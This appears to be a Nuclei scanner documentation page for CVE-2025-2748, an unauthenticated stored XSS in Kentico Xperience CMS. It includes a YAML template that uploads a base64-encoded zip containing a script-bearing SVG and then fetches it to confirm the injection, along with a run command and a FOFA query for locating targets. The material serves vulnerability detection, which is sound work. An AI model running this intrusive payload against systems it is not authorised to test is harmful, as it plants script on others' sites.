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Nuclei Templates

Kentico Xperience CMS - Unauthenticated Stored XSS

ID: CVE-2025-2748

Severity: medium

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2025,kentico,xss,unauth,intrusive

Description

Section titled “Description”

The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.

YAML Source

Section titled “YAML Source”
id: CVE-2025-2748


info:
  name: Kentico Xperience CMS - Unauthenticated Stored XSS
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.
  reference:
    - https://labs.watchtowr.com/xss-to-rce-by-abusing-custom-file-handlers-kentico-xperience-cms-cve-2025-2748/
    - https://devnet.kentico.com/download/hotfixes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-2748
    cwe-id: CWE-79
    epss-score: 0.00034
    epss-percentile: 0.06386
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Kentico-CMS"
  tags: cve,cve2025,kentico,xss,unauth,intrusive


flow: http(1) && http(2)


http:
  - raw:
      - |-
        POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename={{randstr}}.zip&Complete=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream


        {{base64_decode('UEsDBBQAAAAIADR5gVqiOVAGEwEAAHwBAAAHABwAeHNzLnN2Z1VUCQADc8nrZ033sWd1eAsAAQT1AQAABBQAAABtkEFPAjEQhe/7K8bxognudAUO6C4kAiEmRklEjcfKlqVa2k1bWPj3zrIXD/bUvHnzvdfmk+POwEH5oJ0tMEsFQojSltI4qwq0DifjJL+YvUxXn8s5hEMFy7eHp8cp4A3RR39KNFvN4PV9AVmaEc2fEXAbY31H1DRN2vRT5ytaeFlv9ToQG6k18hIxLMvSMpY4TpK8Rf8pkiF8yaCW3m204SabvTEI3NaG4p+AWyFEC2QUAOS1M6fKWdBlgdFraSujEGqnbeR10RMgekMBQ74hcIAp8FKI0Uic3+/djzoLgwEL1CHD2us6QjzVPIvqGOlbHmSndql8pFE+XpVuvd8pG9PS7aS21/dnAHVe/s626Dj5BVBLAQIeAxQAAAAIADR5gVqiOVAGEwEAAHwBAAAHABgAAAAAAAEAAACkgQAAAAB4c3Muc3ZnVVQFAANzyetndXgLAAEE9QEAAAQUAAAAUEsFBgAAAAABAAEATQAAAFQBAAAAAA==')}}


    matchers:
      - type: status
        internal: true
        status:
          - 200


  - raw:
      - |
        GET /CMSPages/GetResource.ashx?image=/App_Data/CMSTemp/MultiFileUploader/00/00000000-0000-0000-0000-000000000000/[{{randstr}}.zip]/xss.svg HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain)"


      - type: word
        part: content_type
        words:
          - 'image/svg+xml'
# digest: 4b0a00483046022100ae87695d230aa5aae9ca98e840d5c4ef27e12523f710478b25b41b74447cd878022100b8b8aab8421158b84857458c9901838d65bd2e3e45d345af08a9ed9fae88de03:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-2748.yaml"

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